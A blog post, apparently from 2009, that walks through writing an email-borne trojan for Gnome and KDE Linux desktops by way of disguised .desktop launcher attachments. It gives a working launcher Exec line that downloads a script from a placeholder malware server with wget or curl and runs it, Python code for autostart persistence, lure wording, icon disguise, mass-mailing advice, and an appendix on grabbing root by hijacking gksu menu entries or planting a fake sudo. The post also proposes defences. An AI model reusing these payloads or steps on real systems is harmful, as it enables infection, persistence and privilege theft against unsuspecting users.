... just scroll down to the compact step-by-step guide. But if you like to get some of the background and related explanations then just read on.
The rumor of the bullet-proof Linux architecture
There is this rumor going around that Linux is virus free. It is said that the old-fashioned multi-user heritage of Linux (and other *nix OSs) prevents malware, since users are not normally running their programs in admin mode (as root user). We are reminded that execute bits are needed to run anything – contrary to Windows – and that execute bits aren't set on any attachments or files saved from emails or from a web-browser.
Therefore, we are told, the very architecture of Linux is so much more superior to Windows that it's just not possible to successfully spread malware. Of course – it is acknowledged – a low-level bug, a buffer overflow or other issue is exploitable. But nevertheless, users can't just catch a virus by email or downloading malware from the Internet, contrary to “those Windows users”. Linux will protect them from their own stupidity.
At least so the story goes. But sadly, that's not true. I will show how it is possible in a few easy steps to write a perfectly valid email borne virus for modern desktop Linux. I will do so not because I want to put down Linux. Quite the opposite: I like and support Linux, which is all I'm running at home and at work. I'm a big supporter of free and open software as readers of this blog will know. But if there are any security risks, even in my favorite OS or distribution then they will need to be discussed. Even more important: A false sense of security is worse than a lack of security. And unsubstantiated claims of superiority don't help in a reasonable discussion either.
Some notes before we get started
Update: There has been a lot of feedback about me using the term 'virus' not correctly here. That I should talk about a 'trojan horse' instead. There is some disagreement on whether a virus requires user interaction or not, and whether we would be talking about a worm if we are talking about malware that can spread without user interaction. There is also some disagreement on whether a malware that spreads itself via email can be considered a virus or not. There are many sources that would call such a thing a virus (an 'email virus') and others which would be more exacting in their definition. Let this article not be about that discussion. I'm calling this malware here a 'virus', even though it does require user interaction and even though I don't provide actual code for how to spread itself (that code is only provided as very high-level pseudo-code).
I should point out: The vulnerabilities we will be taking advantage of are 'features' of the most popular modern Linux desktop environments, Gnome and KDE. The actual core of Linux itself does not have any of these vulnerabilities. A Linux (or any other *nix) system without running Gnome or KDE will not exhibit any of these problems, which is one of the huge advantages of properly separating the core OS from other applications such as the desktop environment.
On the flip side, if you run those desktop environments on other OSs (maybe on FreeBSD, for example) then you possibly have to deal with the same vulnerabilities. A more accurate title for this email therefore might have been: How to write a Gnome/KDE virus in 5 easy steps. But since Gnome and KDE are predominantly used under Linux, I feel that a virus based on those vulnerabilities would impact Linux users the most. Thus, the chosen title remains valid.
The text of this article here will explain to you which steps need to be taken to infect a desktop and how to install your malware and will provide background information on why those steps are necessary and why they actually work. After the longer explanation there is a more compact step-by-step summary towards the end. Even though there are some code snippets, the article will not provide the code for a ready-made piece of malware.
Several days ago I sent a message to the security teams at Ubuntu and Fedora, asking if they would like to take a look at this before I publish. The Ubuntu team hasn't responded yet, but the Fedora team told me that this is “well-known and expected behavior” and that they have no problem with me publishing this. Well-known and expected? Really? But ok then, here we go.
Getting users to open attachments: Check out these nude shots!
If you are now looking forward to some new, fantangled exploit or some extra clever hackery, I will have to utterly disappoint you. What I'm showing here is merely an example of how the old-school social engineering "viruses" (they hardly deserve that name) which have been bothering the Windows world for such a long time can be made to run on Linux, or any other *nix OS with a modern desktop environment.
The premise of this type of 'virus' is simple: Get a user to run an executable attachment you sent them via email. This is completely low-tech. No black magic here. I'm not taking advantage of a new exploit in any way. To make it work in Linux I'm just using the 'features' of modern desktop environments in somewhat unintended ways, I guess. After all, it's all “well-known and expected”.
Doing this under Windows is straight forward. You create your malware as an EXE file, attach it to an email which says something like: "Whoa, check out these nude shots of ....!". The hapless user double-clicks on the attachment, which Windows – in the absence of some decent anti-virus software – will obediently execute. Before you know it the malware is installed and the system is owned. The execution of .EXE files from within email clients under Windows is of course also “well-known and expected”.
You think this is not possible under Linux? Of course it is. It just requires one or two more steps. However, there is nothing fundamental about the architecture of Linux that prevents user stupidity or ignorance, which is of course the main ingredient in any attack vector like this.
There is just one small stumbling block, which needs to be overcome. Well, two, actually.
Firstly, most email clients for Linux will not execute attachments. They might try to open them if they know the extension as an indication for a document or media type (.pdf or other documents for example). But that's about it. So, let's say you have written your malware as a nice Python script. In that case, your script may have the .py ending, but the email client is still unlikely to invoke the Python interpreter for you. You would have to go out of your way to configure your system to do that, and who would do something like this?
No, we need a slightly different approach. Something that always gets executed when clicked on. And here then is one more step that needs to be taken by the user, which might reduce the success rate of this attack vector a little. The user has to first save the attachment and then double click on it. Because while the email client typically cannot run an executable file, the desktop environment very well can as we will see. So, the email will have to read something like:
Whoa, check out these nude shots of...!
(if the attachment doesn't want to open just save it to your desktop and open it...)
That would sound suspicious to most of us, but 'most' is not 'all' and user stupidity is everywhere. Besides, many users of web-based email clients are used to the save-first routine anyway.
Do not underestimate user ignorance – even on Linux
You might argue that most Linux users tend to be a bit more aware of what they are doing. They usually had to make a conscious choice about their OS and therefore tend to not be your typical non-technical user. But that is changing! Some netbooks are shipped with Linux as default. In that case users may not have consciously chosen Linux and thus can be just as blissfully ignorant as those Windows users who click on email attachments. Also, some large organizations are thinking about mass Linux desktop roll-outs. Various cities and governments around the world, for example. The users there are not technical either and are just as likely to click on attachments.
Furthermore, the trouble free times of the past have given Linux users another false sense of security. We are so used to the constant mantra of "Linux is so secure, you don't even need anti-virus software!" that we probably really don't have any anti-virus software to catch us when we are about to do something dumb.
Ok, back to the technicalities. Most email clients save attachments to the desktop of the user or in the user's download directory where the user will then go look for it. So, if the user doesn't endlessly examine the attachment but simply clicks the 'save' button in the email client then that usually does the trick: The attachment will be right there in the face of the user. In fact, I noticed that for some reason my Evolution email client sometimes has issues opening even normal documents as attachments directly. For example, someone sends me an .odt file but Evolution sometimes doesn't start OpenOffice for me. So, whenever this doesn't work, I just save and open it then. I'm already trained to do this kind of stuff! I'm probably not the only one.
Getting attachments to execute
We said earlier that attachments are not normally run when they are stored as files. There is no standard file extension that indicates that a file should be executed when clicked, as there is under Windows. Instead - and this is the second big hurdle we need to overcome - for the file to be executable under Linux (or any other *nix OS), the execute flag would have to be set in the permissions of the file. This is something that Windows doesn't have, and which is often seen as one of the reasons why infecting a Windows PC can be so easy, and why it should be close to impossible on *nix systems. When you save an email attachment under Linux, the execute flag is normally NOT set and thus, the file can't be executed just by clicking on it. So, no luck?
Not so fast. Modern desktop environments, such as Gnome and KDE, conveniently offer a nice "workaround" called 'launchers'. Those are small files that describe how something should be started. Just a few lines that specify the name, the icon that should be displayed and the actual command to execute. Conveniently, the syntax of those launcher files is the same for Gnome and KDE. And those launchers don't have to have any execute permissions set on them! Desktop environments treat those files as a special case, so when you click on them Gnome or KDE will happily execute the command that was specified within the launcher description and without the need for the execute bit to be set on the launcher itself. Now we are getting somewhere!
A problem we are now facing is that the command that can be executed by a launcher is really just one line and just one command. It's a bit tough to install malware with just a single command. Or is it? How about this here:
% bash -c "curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py"
What does this single command do? It starts bash, a command shell (part of any default install), and passes a string argument with two simple commands to it, which bash will then execute. The first command (curl) downloads a script from some malware server you have to set up and then stores the script in a place where we know that we can write to (the /tmp directory). Note that on some systems (Ubuntu, for example) you don't have curl, but a similar command called wget. That complicates the actual command line here a little bit, but it's not an insurmountable problem, as shown in the step-by-step guide further down. The second command (the call to the Python interpreter) then executes that freshly downloaded script (a Python script in this example). Both Python and curl (or wget) are typically part of the default install of most Linux distros.
If we put this into the Exec line of the launcher definition then a simple click on that launcher will lead to the execution of a single command, which in turn executes two commands, which then lead to the download and execution of an arbitrary complex script. All without the execute bit being set anywhere.
You don't need to be root to 0wn someone
None of that so far required root privileges. And our script now can do whatever it wishes to do within the confines of the user account. Confined it may be, but that doesn't prevent the possibility of significant damage to be done.
For example, it can start to pilfer through the user's address book to harvest email addresses, send them off to our malware server, start sending spam email or it can spread itself by email. It can install a Firefox extension that captures passwords as the user types them. It may start to share the user's desktop via VNC without the user's knowledge. It can start a background daemon that pops up ads. Linux adware!
All of this is executed as a normal user process. Truly, on a desktop system that is normally just used by a single user owning that user account is pretty much equivalent to owning root, as far as doing damage is concerned: All the action you are interested in takes place in the user account anyway.
But maybe you really want to have root for your malware? Well, there's a way to do that as well, but this is not guaranteed to work in all cases and is frankly not necessary to successfully infect a machine. So, to not distract from the important points of this article here, I have a discussion of that in an appendix.
Autostart after reboot
But surely, even if the user is not able to find the running process and kill it then just a simple reboot will stop that nonsense right? Surely, root privileges are needed in order to force our malware to be automatically launched in case of a system restart, right?
Not so. Users do not need root privileges in order to configure certain applications for autolaunch when they are logging into their own user sessions. That is because they are only making changes to their own session and user account, not the underlying system settings. Again, any apps started as part of the user session will only run at the user's privilege level, but as we have seen, this is not a major problem. Lots of interesting things can be done even then.
So, how do we get ourselves to be auto started when the user logs in? There are a number of scripts that get executed when you start a shell, but the user that's likely to click on a suspicious attachment is not likely to start a shell very often if at all. Fortunately, the modern desktop environments have their own set of commands which they are autostarting on login. In the case of Gnome, take a look at what you find in ~/.config/autostart (this directory may not exist yet, if you have not configured any apps for autostart). That's right! More launchers! Those are run every time the user logs into Gnome. For KDE it's even simpler: Just link to your executable from within the ~/.kde/Autostart directory.
Our malware then only needs to create an appropriate entry in those directories and it will start to run whenever the user logs in!
And that's all there is to it. I leave the writing of the actual malware script as an exercise to the reader.
Compact step-by-step guide
Ok, so here is the summary then, which also fills in a few more specific details:
Write a piece of malware of your choice. Maybe as a Python script? Good language, efficient code, pre-installed in most Linux distros and powerful standard library support (for example, libraries for sending HTTP requests and handling SMTP are part of most standard installs). Place that malware on some web-server.
Your malware needs the ability to install a launcher for itself so that it is started whenever the user logs in. As mentioned, for Gnome that means creating a launcher description in the ~/.config/autostart folder. For KDE just link to your executable from within the ~/.kde/Autostart directory. To do that the malware code can either just force the issue and copy a launcher or link to itself into both locations (creating any directories along the way if they don't exist) or it can be a bit smarter and choose the right thing to do based on the desktop environment that it detects.
For example, to create the shortcut for KDE, all you need to write in Python is:
import os
uname = os.getlogin()
drop_dir = “/home/%s/.kde/Autostart” % uname)
os.makedirs(drop_dir)
os.symlink("/home/%s/.local/.hidden/s.py" % uname, drop_dir+“/s.py")
For Gnome the Python script instead needs to write a launcher into the proper directory:
import os
relauncher_str = """
[Desktop Entry]
Type=Application
Name=Malware
Exec=python .local/.hidden/s.py
Icon=system-run
"""
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()
Writing these autostart entries is probably some of the first action that your malware should perform.
Now create a desktop launcher file for the installer of the malware, which is different than the launcher we use to restart the malware after a reboot. The desktop launcher for the installer is what we send as attachment in the email to the targeted user. It's what the user clicks on after they saved it. Try something like this:
[Desktop Entry]
Type=Application
Name=some_text.odt
Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;
DROP=~/.local/.hidden ;
mkdir -p $DROP;
if [ -e /usr/bin/wget ] ;
then wget $URL -O $DROP/s.py ;
else curl $URL -o $DROP/s.py ; fi;
python $DROP/s.py'
Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png
Note that we have specified a name that is harmless looking and even chose an icon that makes it look like a normal document (that particular icon is present on both Ubuntu (Gnome) and Kubuntu (KDE) systems, but annoyingly not on Fedora). If you claim to send nude shots in the email, just give it a name that makes it sound like an image (something with .jpg at the end) and chose one of the appropriate standard image icons.
The Exec line is a bit longer now, because we have to account for the possibility that either wget is installed or curl. For example, Ubuntu
systems usually have wget, while Fedora comes with curl. So, we pass the appropriate commands to bash in order to check which one is present and then call the correct command to download the malware. I'm not a bash expert, so there might be a much more efficient way to do this. But you get the idea. Also, in that line we are creating a good location for the script ($DROP), which is not immediately obvious. The mkdir command with the -p option will silently create whatever parent directories are necessary. The target directory is in the user's home, hidden away in some innocent looking local directory and can only be seen when also displaying hidden files. The /tmp directory of course is not a good place for our malware, since it is wiped with each reboot.
Save this launcher file under the name you specified with the Name line, but add '.desktop' to the end of the actual file name. So, in our case, you would save the file as 'some_text.odt.desktop'. When you place this on your desktop you will see that Gnome or KDE will treat it in a special way, not displaying the '.desktop' extension. So, the file just appears as 'some_text.odt'. Of course, that also means that the mail attachment will have this extension as well. Some users may notice, many others will not.
Attach this file to an email, which prompts the recipient to save and open the attachment. As explained, once it has been saved it will just appear as 'some_text.odt' on the user's desktop. And with the icon we have chosen in the launcher description it will look quite harmless.
Send this email out to as many email addresses as you can get a hold of.
Voila! A Linux virus in 5 simple steps. Every user that saves and opens the attachment you have sent them will get themselves infected with the malware script of your choice, which is then also restarted whenever the user logs in again.
That was easy, wasn't it?
Solutions for the problem
The easiest solution to prevent this kind of problem is to not just blindly click on attachments that people have sent you. Does that sound like a sentence you have always heard in the context of Windows before? You bet. The point is: Even on Linux this advice should be taken serious.
A step that could be taken by the Gnome and KDE developers: Require launchers to have execute permissions. A saved attachment won't have those. Therefore, even though a syntactically correct and properly named launcher was dropped on the desktop a user can't just click on it and start it if the execute bit is not set.
Thirdly, stop perpetuating the myth that malware and viruses are only a problem for Windows. Linux is – in principle – vulnerable as well, of course. Even though users don't operate with root privileges, if they inadvertently execute a bit of malware then a lot of damage and autostart installation can still be done. The simple fact that an executed attachment won't run as root is NOT a useful protection against much of anything, as we have seen. The fact that attachments are not saved with the execute bit is NOT a sufficient protection either, since modern desktop environments allow you to neatly maneuver around that.
Right now the limited market share of Linux on the desktop offers some protection. The overall better security architecture offers some more protection. But none of that is fool-proof. And with larger Linux deployments in interesting locations – such as government organizations – those installations also become interesting targets for malware authors.
Thunar?
Interestingly, the Thunar file manager under xfce (Xubuntu 8.10) is doing something that Gnome's and KDE's file managers are not doing: It will flag the desktop launcher file as potential malware and thus prevent execution via a simple click. This works whether the attachment was saved from within Thunderbird or from within a web-based email system, such as Yahoo Mail. Does anyone know what Thunar specifically does here to come up with the 'malware' conclusion?
However, I confirmed that it works with fresh, stock Ubuntu 8.10, Kubuntu 8.10 and Fedora 10 installs. Since this is mostly based on the functionality of Gnome and KDE, I assume that most distributions that utilize those desktops are vulnerable as well.
Bootnote
Some time ago there was a challenge issued to write a virus that would be able to infect a desktop Linux system. The original challenge contained two important caveats, though: Firstly, it should be able to infect the machine of the person who wrote the challenge. Nothing further is known about that machine. For example, we don't know which desktop he was running. Secondly, the virus should be able to write a file into the /etc directory, to which normally only root has access.
I would content that a Linux virus can be called successful if it is able to infect standard installs of some of the most popular distros. I know that the approach I am suggesting will be able to infect a standard install of Ubuntu, Kubuntu and Fedora, for example.
Secondly, as outlined above, getting root privileges is not necessary to successfully infect a Linux computer. Well, it's more the account of the user that is infected, isn't it? However, if we are talking about desktop computers then for the most part there is only going to be a single user. The distinction between infecting the system (as root) or the user account (as the user) is entirely academic at best. Such an infection is in effect the same as saying 'the machine is infected'. After all, the user is mostly logged in and the malware will run whenever that is the case. Anyway, I contacted the author of this challenge and explained the situation to him. He insists on the original rules laid out in his challenge, though. Fair enough, it's his challenge and therefore his rules.
So, what if you really want root then?
Appendix: Getting root
Getting root privileges is always considered to be a bit of the holy-grail of compromising another machine. As we have seen, not having it isn't really preventing you from having yourself a good time with a virus, though. But just for completeness' sake, let me outline a way for your malware to get root. There might be other ways, but this is what I could come up with for now.
You see, even normal desktop Linux users will occasionally do stuff as root. In the case of Ubuntu, for example, you will use 'sudo' (or the graphical equivalent gksu) from time to time in order to perform system administration. Maybe to administer users, change the date and time or to install new software. Many items in the System -> Administration menu will prompt you for your password for that reason. By default, the user of a Ubuntu desktop system tends to be in the 'admin' group, which in turn is mentioned in /etc/sudoers. Thus, by providing your own password you can perform tasks with root privileges.
So, now how can we take advantage of this? It turns out that the menu items for your Gnome desktop are individually configured somewhere. Maybe we can hack that so that instead of synaptic (the graphical package manager) or any other utility that runs under sudo or gksu) our nice malware is started instead? After the user has provided their password for sudo? But as it turns out, the menu items are defined in a place to which only root has write access. Take a look at /usr/share/applications. In there you find – again – a large number of launcher files. These are defining the various menu items. For example, take a look at synaptic.desktop. You can see there the following line:
Exec=gksu /usr/sbin/synaptic
Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptics
That would execute our malware with root privileges. Note that we quietly passed the original name of the executable (/usr/sbin/synaptics) to our malware, so that it can start synaptics after it is done permanently giving itself root privileges or doing whatever it wants to do as root. That way the user won't become suspicious.
But, alas, we can't edit that file. Out of luck again? Fortunately, no. Gnome is kind enough to see if we might have a local definition of one of those desktop files, which should override the system-wide settings. Those go into ~/.local/share/applications. So, you can simply copy the synaptic.desktop file from /usr/share/applications to ~/.local/share/applications and perform the changes you want on it. Then you just have to sit back and wait for the next time the user starts synaptics and you are in business.
Of course, you don't have to limit yourself to synaptics. To have a better chance of being executed with root privileges any of the apps in the Administration menu that require gksu are fair game. And frankly, you can probably make similar changes and introduce gksu to many of the menu items in System -> Preferences. As a Ubuntu user you are used to give your password to gksu from time to time. If the user doesn't pay attention, they won't even notice that they just were prompted for their password for a utility that never asked for the password before.
And for those users that like to use the shell: Well, in that case the malware can simply mess with your path definition and place a 'tuned' version of the 'sudo' command in your path, which gets executed whenever you type 'sudo'.
As you can see this is not guaranteed to give you root (if the user never uses those programs), but there's a good chance that you will get it eventually if you are patient.
Update, Feb 12, 2009: It would really have surprised me if I were the first person to think of this vulnerability. Looking around a little on the Internet, I couldn't find any references to this, though. Well, the editor of LWN.net did a better job. As he points out here, there has been discussion about the vulnerabilities introduced by .desktop files back in 2006 already.
Note: I posted a follow up to summarise points and comments I received